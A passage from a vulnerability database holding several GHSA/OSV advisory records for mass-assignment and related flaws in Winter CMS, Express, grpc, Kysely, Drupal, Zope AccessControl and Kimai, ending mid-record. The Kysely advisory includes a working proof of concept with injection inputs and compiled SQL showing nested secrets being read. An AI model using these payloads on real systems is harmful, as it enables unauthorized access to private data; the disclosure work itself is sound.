CWE-915

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "winter/wn-backend-module"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "fixed": "1.2.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "winter/wn-backend-module"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1.0"
            },
            {
              "fixed": "1.1.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "winter/wn-backend-module"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.477"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27591"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T14:07:39Z",
    "nvd_published_at": "2026-03-11T22:16:32Z",
    "severity": "CRITICAL"
  },
  "details": "## Impact\nAffected versions of Winter CMS allowed authenticated backend users to escalate their accounts level of access to the system by modifying the roles / permissions assigned to their account through specially crafted requests to the backend while logged in.\n\nTo actively exploit this security issue, an attacker would need access to the Backend with a user account with any level of access.\n\nThe Winter CMS maintainers strongly recommend that all Winter CMS sites that have any reliance on the roles \u0026 permissions system to update immediately. Security fixes have been backported to all major versions of Winter (1.0, 1.1, and 1.2).\n\n## Patches\nMultiple fixes and defence in depth has been applied to prevent current and future privilege escalation attacks at the lowest level possible.\n\nThis security issue has been fixed as of https://wintercms.com/releases/v1.0.477, https://wintercms.com/releases/v1.1.12, https://wintercms.com/releases/v1.2.12.\n\n## Workarounds\nIf you cannot upgrade, you may apply the changes from the releases to your Winter CMS installation manually to resolve this issue.",
  "id": "GHSA-pgpf-m8m4-6cg6",
  "modified": "2026-03-12T14:07:39Z",
  "published": "2026-03-12T14:07:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wintercms/winter/security/advisories/GHSA-pgpf-m8m4-6cg6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27591"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wintercms/winter"
    },
    {
      "type": "WEB",
      "url": "https://wintercms.com/releases/v1.0.477"
    },
    {
      "type": "WEB",
      "url": "https://wintercms.com/releases/v1.1.12"
    },
    {
      "type": "WEB",
      "url": "https://wintercms.com/releases/v1.2.12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Winter vulnerable to privilege escalation by authenticated backend users"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "express"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "express"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-51999"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-01T18:59:17Z",
    "nvd_published_at": "2025-12-01T21:15:49Z",
    "severity": "LOW"
  },
  "details": "## Withdrawn Advisory\nThis advisory has been withdrawn because it describes a correctness bug, not a vulnerability with real security impact. This link is maintained to preserve external references.\n\n## Original Description\n### Impact\n\nwhen using the extended query parser in express (`\u0027query parser\u0027: \u0027extended\u0027`), the `request.query` object inherits all object prototype properties, but these properties can be overwritten by query string parameter keys that match the property names\n\n\u003e [!IMPORTANT]  \n\u003e the extended query parser is the default in express 4; this was changed in express 5 which by default uses the simple query parser\n\n### Patches\n\nthe issue has been patched to ensure `request.query` is a plain object so `request.query` no longer has object prototype properties. this brings the default behavior of extended query parsing in line with express\u0027s default simple query parser\n\n### Workaround\n\nthis only impacts users using extended query parsing (`\u0027query parser\u0027: \u0027extended\u0027`), which is the default in express 4, but not express 5.  all users are encouraged to upgrade to the patched versions, but can otherwise work around this issue:\n\n#### provide `qs` directly and specify `plainObjects: true`\n\n```js\napp.set(\u0027query parser\u0027,\n  function (str) {\n    return qs.parse(str, {\n      plainObjects: true\n  });\n});\n```",
  "id": "GHSA-pj86-cfqh-vqx6",
  "modified": "2025-12-02T15:11:19Z",
  "published": "2025-12-01T18:59:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/express/security/advisories/GHSA-pj86-cfqh-vqx6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51999"
    },
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/express/commit/2f64f68c37c64ae333e41ff38032d21860f22255"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/expressjs/express"
    },
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/express/releases/tag/4.22.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/express/releases/tag/v5.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Withdrawn Advisory: express improperly controls modification of query properties",
  "withdrawn": "2025-12-02T15:11:19Z"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "grpc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.24.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@grpc/grpc-js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7768"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-19T22:57:05Z",
    "nvd_published_at": "2020-11-11T11:15:00Z",
    "severity": "HIGH"
  },
  "details": "\"The package grpc before 1.24.4 and the package @grpc/grpc-js before 1.1.8 are vulnerable to Prototype Pollution via loadPackageDefinition.\"",
  "id": "GHSA-pp75-xfpw-37g9",
  "modified": "2021-04-19T22:57:05Z",
  "published": "2021-05-10T19:16:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7768"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grpc/grpc-node/pull/1605"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grpc/grpc-node/pull/1606"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grpc/grpc-node/releases/tag/grpc%401.24.4"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038819"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-GRPC-598671"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-GRPCGRPCJS-1038818"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/@grpc/grpc-js"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/grpc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype pollution in grpc and @grpc/grpc-js"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "kysely"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.26.0"
            },
            {
              "fixed": "0.28.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44635"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284",
      "CWE-22",
      "CWE-89",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T19:40:15Z",
    "nvd_published_at": "2026-05-27T19:16:20Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nKysely 0.28.12 added a `sanitizeStringLiteral()` call inside `DefaultQueryCompiler.visitJSONPathLeg` (commit `0a602bf`, PR #1727) to fix CVE-2026-32763 (`GHSA-wmrf-hv6w-mr66`). The fix only doubles single quotes (`\u0027` \u2192 `\u0027\u0027`); it does **not** escape JSON-path metacharacters (`.`, `[`, `]`, `*`, `**`, `?`). When attacker-controlled input flows into `eb.ref(col, \u0027-\u003e$\u0027).key(input)` or `.at(input)` \u2014 including type-safe code where the JSON column is shaped like `Record\u003cstring, T\u003e` so `K extends string` is the inferred type \u2014 every dot becomes a path-leg separator, letting an attacker traverse from the intended key into sibling and child fields the developer never meant to expose. The result is read access (and, in update statements, write access) to JSON sub-fields outside the intended scope across MySQL, PostgreSQL `-\u003e$`/`-\u003e\u003e$`, and SQLite.\n\n* Project: Kysely \u2014 TypeScript SQL query builder (npm `kysely`); affects MySQL, PostgreSQL `-\u003e$`/`-\u003e\u003e$`, and SQLite dialects.\n* Source reviewed: `kysely-org/kysely` @ `master` (`73192e4`, version `0.28.16`).\n* Deployed artefact validated: `kysely@0.28.16` from npm.\n* Affected file(s):\n  * `src/query-compiler/default-query-compiler.ts` (lines 1611\u20131639, 1821\u20131823)\n  * `src/query-builder/json-path-builder.ts` (lines 93\u2013196)\n  * `src/dialect/mysql/mysql-query-compiler.ts` (overrides `sanitizeStringLiteral` but inherits the same behaviour for path legs \u2014 escapes `\\` and `\u0027`, nothing else)\n* CWE: CWE-89 \u2014 Improper Neutralization of Special Elements used in an SQL Command, with CWE-915 / CWE-1284 (improper validation of specified quantity in input) flavours for the JSON-path sub-language.\n* OWASP 2021: A03:2021 \u2014 Injection.\n\n## Vulnerable code\n\n`src/query-compiler/default-query-compiler.ts:1625-1639`:\n\n```ts\nprotected override visitJSONPathLeg(node: JSONPathLegNode): void {\n  const isArrayLocation = node.type === \u0027ArrayLocation\u0027\n\n  this.append(isArrayLocation ? \u0027[\u0027 : \u0027.\u0027)      // (1)\n\n  this.append(\n    typeof node.value === \u0027string\u0027\n      ? this.sanitizeStringLiteral(node.value)  // (2)\n      : String(node.value),\n  )\n\n  if (isArrayLocation) {\n    this.append(\u0027]\u0027)\n  }\n}\n```\n\n`src/query-compiler/default-query-compiler.ts:1821-1823`:\n\n```ts\nprotected sanitizeStringLiteral(value: string): string {\n  return value.replace(LIT_WRAP_REGEX, \"\u0027\u0027\")    // (3)\n}\n```\n\nwith `LIT_WRAP_REGEX = /\u0027/g`.\n\n`src/query-builder/json-path-builder.ts:151-167`:\n\n```ts\nkey\u003c\n  K extends any[] extends O\n    ? never\n    : O extends object\n      ? keyof NonNullable\u003cO\u003e \u0026 string\n      : never,\n  O2 = undefined extends O\n    ? null | NonNullable\u003cNonNullable\u003cO\u003e[K]\u003e\n    : null extends O\n      ? null | NonNullable\u003cNonNullable\u003cO\u003e[K]\u003e\n      : // when the object has non-specific keys, e.g. Record\u003cstring, T\u003e, should infer `T | null`!\n        string extends keyof NonNullable\u003cO\u003e\n        ? null | NonNullable\u003cNonNullable\u003cO\u003e[K]\u003e\n        : NonNullable\u003cO\u003e[K],\n\u003e(key: K): TraversedJSONPathBuilder\u003cS, O2\u003e {\n  return this.#createBuilderWithPathLeg(\u0027Member\u0027, key)  // (4)\n}\n```\n\n`src/query-builder/json-path-builder.ts:169-196`:\n\n```ts\n#createBuilderWithPathLeg(\n  legType: JSONPathLegType,\n  value: string | number,                                // (5)\n): TraversedJSONPathBuilder\u003cany, any\u003e {\n  // ...\n  return new TraversedJSONPathBuilder(\n    JSONPathNode.cloneWithLeg(\n      this.#node,\n      JSONPathLegNode.create(legType, value),            // (6)\n    ),\n  )\n}\n```\n\nAt (1) the compiler emits the path-leg separator \u2014 `.` for member access or `[` for array index. At (2) the user-supplied string is run through `sanitizeStringLiteral`, which at (3) only doubles single quotes (`\u0027`). Dots, brackets, asterisks, double-asterisks and question marks \u2014 every reserved character of the SQL/JSON path mini-language \u2014 pass through unmodified.\n\nAt (4) `.key(K)` types `K` as `keyof NonNullable\u003cO\u003e \u0026 string`. When the JSON column is typed as `Record\u003cstring, T\u003e` (a common shape for free-form metadata blobs) the inferred `K` is just `string`, so attacker-controlled input is **type-safe** and does not need a `Kysely\u003cany\u003e` escape hatch \u2014 this finding is *broader* than `GHSA-wmrf-hv6w-mr66` (CVE-2026-32763), which only covered the `Kysely\u003cany\u003e` case. At (5)/(6) the runtime accepts any `string | number` regardless of `legType`, so a string sent into `.at(...)` (`\u0027last\u0027`/`\u0027#-N\u0027` per the public type signature) also reaches the same emitter and can carry `]` to break out of the bracket.\n\nThe fix at `0a602bf` only addressed the single-quote \u2192 string-literal escape. The JSON-path metacharacter set was overlooked.\n\n`MysqlQueryCompiler.sanitizeStringLiteral` (`src/dialect/mysql/mysql-query-compiler.ts:47-51`) overrides the helper to also escape backslashes \u2014 but again, it does nothing for `. [ ] * ** ?`.\n\n## Reproduction (validated locally)\n\nEnvironment: `kysely@0.28.16` + `better-sqlite3@12.x`, Node 22, on macOS. The PoC harness lives in `/Users/admin/joplin_research/kysely-poc/`.\n\n### Step 1 \u2014 Compiled-SQL evidence across all three dialects\n\n`/Users/admin/joplin_research/kysely-poc/poc.mjs` (no DB, just `.compile()`):\n\n```bash\n$ node poc.mjs\n===== MySQL =====\n\n--- baseline: .key(\"nick\") ---\nSQL:     select `profile`-\u003e\u0027$.nick\u0027 as `out` from `person`\n\n--- INJECTION via .key(ATTACKER) -- \"nick.secret_field\" ---\nSQL:     select `profile`-\u003e\u0027$.nick.secret_field\u0027 as `out` from `person`\n\n--- INJECTION via .key(\"*\") -- wildcard reaches all keys ---\nSQL:     select `profile`-\u003e\u0027$.*\u0027 as `out` from `person`\n\n--- INJECTION via .at(ATTACKER3) -- bracket escape ---\nSQL:     select `profile`-\u003e\u0027$[].secret]\u0027 as `out` from `person`\n\n===== PostgreSQL (-\u003e$ uses jsonpath, MySQL-like) =====\n\n--- baseline: .key(\"nick\") ---\nSQL:     select \"profile\"-\u003e\u0027$.nick\u0027 as \"out\" from \"person\"\n\n--- INJECTION via .key(ATTACKER) ---\nSQL:     select \"profile\"-\u003e\u0027$.nick.secret_field\u0027 as \"out\" from \"person\"\n\n===== SQLite =====\n\n--- baseline: .key(\"nick\") ---\nSQL:     select \"profile\"-\u003e\u003e\u0027$.nick\u0027 as \"value\" from \"person\"\n\n--- INJECTION via .key(ATTACKER) ---\nSQL:     select \"profile\"-\u003e\u003e\u0027$.nick.secret_field\u0027 as \"out\" from \"person\"\n\n--- INJECTION via .key(\"*\") ---\nSQL:     select \"profile\"-\u003e\u003e\u0027$.*\u0027 as \"out\" from \"person\"\n```\n\nThe compiled SQL clearly shows the dot inside the user-supplied \"key\" being interpreted by the database as a path separator: `\u0027$.nick\u0027` (one leg) becomes `\u0027$.nick.secret_field\u0027` (two legs). MySQL additionally accepts `*` as a wildcard reaching every member at the current level.\n\n### Step 2 \u2014 End-to-end data disclosure on a real database\n\n`/Users/admin/joplin_research/kysely-poc/sqlite-runtime.mjs` simulates a typical handler that reads one top-level field of the caller\u0027s profile:\n\n```js\nasync function fetchProfileField(userInput) {\n  return db.selectFrom(\u0027me\u0027)\n    .select(eb =\u003e eb.ref(\u0027profile\u0027, \u0027-\u003e\u003e$\u0027).key(userInput).as(\u0027value\u0027))\n    .where(\u0027id\u0027, \u0027=\u0027, 1)\n    .execute()\n}\n```\n\nThe `me.profile` JSON column for user 1 is:\n\n```json\n{\n  \"nick\": \"alice\",\n  \"tagline\": \"hi\",\n  \"internal\": {\n    \"ssn\": \"111-11-1111\",\n    \"token\": \"tok_abcdef\",\n    \"admin\": true\n  }\n}\n```\n\nThe developer\u0027s intent: only top-level keys (`nick`, `tagline`) are ever requested. `internal` is private bookkeeping.\n\n```bash\n$ node sqlite-runtime.mjs\n===== Legitimate request =====\nuserInput = \"nick\"\n  compiled SQL:  select \"profile\"-\u003e\u003e\u0027$.nick\u0027 as \"value\" from \"me\" where \"id\" = ?\n  result:        [ { value: \u0027alice\u0027 } ]\n\n===== Injection: dot lets attacker reach nested \"internal\" object =====\nuserInput = \"internal.ssn\"\n  compiled SQL:  select \"profile\"-\u003e\u003e\u0027$.internal.ssn\u0027 as \"value\" from \"me\" where \"id\" = ?\n  result:        [ { value: \u0027111-11-1111\u0027 } ]\n\nuserInput = \"internal.token\"\n  compiled SQL:  select \"profile\"-\u003e\u003e\u0027$.internal.token\u0027 as \"value\" from \"me\" where \"id\" = ?\n  result:        [ { value: \u0027tok_abcdef\u0027 } ]\n\nuserInput = \"internal.admin\"\n  compiled SQL:  select \"profile\"-\u003e\u003e\u0027$.internal.admin\u0027 as \"value\" from \"me\" where \"id\" = ?\n  result:        [ { value: 1 } ]\n```\n\nExpected vs. actual: the application invariant was \"the user can only read top-level keys of their profile\". The output violates that invariant \u2014 `internal.ssn`, `internal.token`, and `internal.admin` are returned even though `internal` was never meant to be addressable through this endpoint.\n\nThe same pattern is exploitable on MySQL (where `*` and `**` wildcards make it strictly worse \u2014 a single `*` enumerates every sibling at the current level in one row) and on PostgreSQL when using the `-\u003e$`/`-\u003e\u003e$` operators (which target MySQL-style JSON-path strings on PG \u2265 17 / via `jsonb_path_query`).\n\n## Impact\n\n* **Authorization bypass on JSON sub-fields.** Any kysely-built query whose JSON-path key/index argument is partially or fully attacker-controlled \u2014 even in fully type-safe code where the column type is `Record\u003cstring, T\u003e` \u2014 leaks data the developer believed was scoped behind the explicitly-listed key. SSNs, tokens, admin flags, internal IDs, anything stored as a nested member of the same JSON document is reachable.\n* **Wildcard reads on MySQL / PostgreSQL `-\u003e$`.** `key(\u0027*\u0027)` compiles to `\u0027$.*\u0027`, returning the array of every value at the current depth in one round-trip. `key(\u0027**\u0027)` recurses across the whole document. The fix does not strip either token.\n* **Write access in update statements.** Kysely uses the same path compiler for `update().set(eb =\u003e eb.ref(col, \u0027-\u003e$\u0027).key(input), value)`-style writes (and `jsonb_set` helpers). An attacker who can drive both the path and the value can therefore write into nested fields they should not be able to set \u2014 for example flipping an `admin` flag or rewriting a nested role.\n* **Bypasses the recently-fixed precedent.** The maintainers shipped commit `0a602bf` (PR #1727) specifically to harden this surface. That fix removed the `\u0027` (quote) primitive but left every JSON-path metacharacter alone, so the surface is still open against any caller that *thought* it was now safe.\n* **Practical bounding.** The attacker needs a code path where a request-derived string lands in `.key(...)` or `.at(...)`. This is a recognised pattern (filter-by-field, dynamic `select` for admin dashboards, Strapi-style JSON-blob columns); it is not a default kysely behaviour but is plausibly common. The vulnerable path is also exercised any time a developer writes `db as Kysely\u003cany\u003e` (covered by the older `GHSA-wmrf-hv6w-mr66` advisory) \u2014 but unlike that advisory, the bug here triggers in fully-typed code on `Record\u003cstring, T\u003e` columns.\n\n## Suggested fix\n\nTreat path legs as a structured emission, not a string-literal escape. The narrowest safe patch is a dedicated `sanitizeJSONPathLeg` that only emits a known-good character set per leg type and rejects everything else, since JSON-path quoting differs by dialect (MySQL allows `\"\u2026\"`-quoted member names; SQLite is more permissive but still has a grammar; PostgreSQL `jsonpath` is strict).\n\n```ts\n// src/query-compiler/default-query-compiler.ts\nconst JSON_PATH_MEMBER_OK = /^[A-Za-z_$][A-Za-z0-9_$]*$/\n\nprotected override visitJSONPathLeg(node: JSONPathLegNode): void {\n  if (node.type === \u0027ArrayLocation\u0027) {\n    this.append(\u0027[\u0027)\n    if (typeof node.value === \u0027number\u0027) {\n      this.append(String(node.value | 0))      // int-coerce\n    } else if (node.value === \u0027last\u0027 || /^#-\\d+$/.test(node.value)) {\n      this.append(node.value)                  // documented dialect tokens\n    } else {\n      throw new Error(`invalid JSON array index: ${node.value}`)\n    }\n    this.append(\u0027]\u0027)\n    return\n  }\n  // Member\n  this.append(\u0027.\u0027)\n  if (typeof node.value !== \u0027string\u0027 || !JSON_PATH_MEMBER_OK.test(node.value)) {\n    // Per-dialect quoted-member escape would go here; default = reject.\n    throw new Error(`invalid JSON path member: ${JSON.stringify(node.value)}`)\n  }\n  this.append(node.value)\n}\n```\n\nFor dialect-specific behaviour (MySQL `\"\u2026\"`-quoted members, SQLite bracket-quoted), each dialect compiler should override the helper and apply the appropriate quoting + double-the-quote rule, the same way `sanitizeIdentifier` already does.\n\nConsider also: parameterise JSON paths whenever the dialect supports it (PostgreSQL `jsonb_path_query($1, $2)`, MySQL `JSON_EXTRACT(?, ?)`), so attacker-controlled keys are bound, not concatenated. Add a regression test to `test/node/src/json-traversal.test.ts` asserting that `eb.ref(\u0027c\u0027,\u0027-\u003e$\u0027).key(\u0027a.b\u0027).compile().sql` is **either** rejected, **or** emits MySQL `\u0027$.\"a.b\"\u0027` / SQLite `\u0027$.[\"a.b\"]\u0027` (quoted-member form), and explicitly differs from `key(\u0027a\u0027).key(\u0027b\u0027)`.\n\nA backstop hardening: tighten the `.at()` runtime to accept only `number | \u0027last\u0027 | \u0027#-${digits}\u0027` (matching the type signature), and tighten `.key()` to only accept strings that match `keyof O` at runtime when `O` is statically known.",
  "id": "GHSA-pv5w-4p9q-p3v2",
  "modified": "2026-06-08T23:53:29Z",
  "published": "2026-05-11T19:40:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kysely-org/kysely/security/advisories/GHSA-pv5w-4p9q-p3v2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44635"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kysely-org/kysely"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kysely-org/kysely/releases/tag/v0.28.17"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kysely: JSON-path traversal injection via unsanitized path-leg metacharacters in `JSONPathBuilder.key()` / `.at()`"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-12535"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-10T22:16:39Z",
    "severity": "CRITICAL"
  },
  "details": "Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Formatter Field allows Object Injection. This issue affects Formatter Field versions: from 0.0.0 to 2.0.0.",
  "id": "GHSA-qc2r-2xxp-m58x",
  "modified": "2026-07-13T18:30:33Z",
  "published": "2026-07-11T00:31:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12535"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/sa-contrib-2026-048"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "AccessControl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0"
            },
            {
              "fixed": "4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "AccessControl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0"
            },
            {
              "fixed": "5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "zope"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0"
            },
            {
              "fixed": "4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "zope"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0"
            },
            {
              "fixed": "5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-32807"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-08-02T23:00:00Z",
    "nvd_published_at": "2021-07-30T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nThe module `AccessControl` defines security policies for Python code used in restricted code within Zope applications. Restricted code is any code that resides in Zope\u0027s object database, such as the contents of `Script (Python)` objects. \n\nThe policies defined in `AccessControl` severely restrict access to Python modules and only exempt a few that are deemed safe, such as Python\u0027s `string` module. However, full access to the `string` module also allows access to the class `Formatter`, which can be overridden and extended within `Script (Python)` in a way that provides access to other unsafe Python libraries. Those unsafe Python libraries can be used for remote code execution.\n\nBy default, you need to have the admin-level Zope \"Manager\" role to add or edit `Script (Python)` objects through the web. Only sites that allow untrusted users to add/edit these scripts through the web - which would be a very unusual configuration to begin with - are at risk.\n\n### Patches\nThe problem has been fixed in AccessControl 4.3 and 5.2.\nOnly AccessControl versions 4 and 5 are vulnerable, and only on Python 3, not Python 2.7.\n\n### Workarounds\nA site administrator can restrict adding/editing `Script (Python)` objects through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing these scripts through the web should be restricted to trusted users only. This is the default configuration in Zope.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [AccessControl issue tracker](https://github.com/zopefoundation/AccessControl/issues)\n* Email us at [security@plone.org](mailto:security@plone.org)",
  "id": "GHSA-qcx9-j53g-ccgf",
  "modified": "2026-06-09T13:03:00Z",
  "published": "2021-08-05T17:01:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/AccessControl/security/advisories/GHSA-qcx9-j53g-ccgf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/Zope/security/advisories/GHSA-g4gq-j4p2-j8fr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32807"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/AccessControl/commit/ae2dab0cc34e6dd1561c5b12d4a56cd140f87e1d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/AccessControl/commit/b42dd4badf803bb9fb71ac34cd9cb0c249262f2c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/Zope/commit/869f947e586517566509e0ccdd4d99b60704cc02"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/Zope/commit/f72a18dda8e9bf2aedb46168761668464a4be988"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/accesscontrol/PYSEC-2021-335.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/accesscontrol/PYSEC-2021-370.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/zope/PYSEC-2021-368.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/zope/PYSEC-2021-875.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zopefoundation/AccessControl"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/AccessControl/blob/master/CHANGES.rst#51-2021-07-30"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Remote Code Execution via unsafe classes in otherwise permitted modules"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.52.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "kimai/kimai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.53.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40486"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-15T19:46:45Z",
    "nvd_published_at": "2026-04-17T23:16:12Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA Mass Assignment / Broken Object Property Level Authorization (BOPA) vulnerability in the User Preferences API allows any authenticated user (even those with the lowest privileges) to arbitrarily modify restricted financial attributes on their profile, specifically their `hourly_rate` and `internal_rate`.\n\n### Details\nKimai restrictively protects the `hourly_rate` and `internal_rate` parameters during standard GUI flow. Users lacking the `hourly-rate` role permissions cannot see or edit these fields via the standard Web Form (`UserApiEditForm` / `UserEditType`). \n\nThe vulnerability exists in the dedicated preferences API endpoint: `src/API/UserController.php::updateUserPreference`.\n\nWhen a `PATCH` request is sent to `/api/users/{id}/preferences`, the endpoint iterates through the submitted JSON array and blindly applies the new values:\n```php\nforeach ($request-\u003erequest-\u003eall() as $preference) {\n    // ... validation omitted ...\n    if (null === ($meta = $profile-\u003egetPreference($name))) {\n        throw $this-\u003ecreateNotFoundException(\\sprintf(\u0027Unknown custom-field \"%s\" 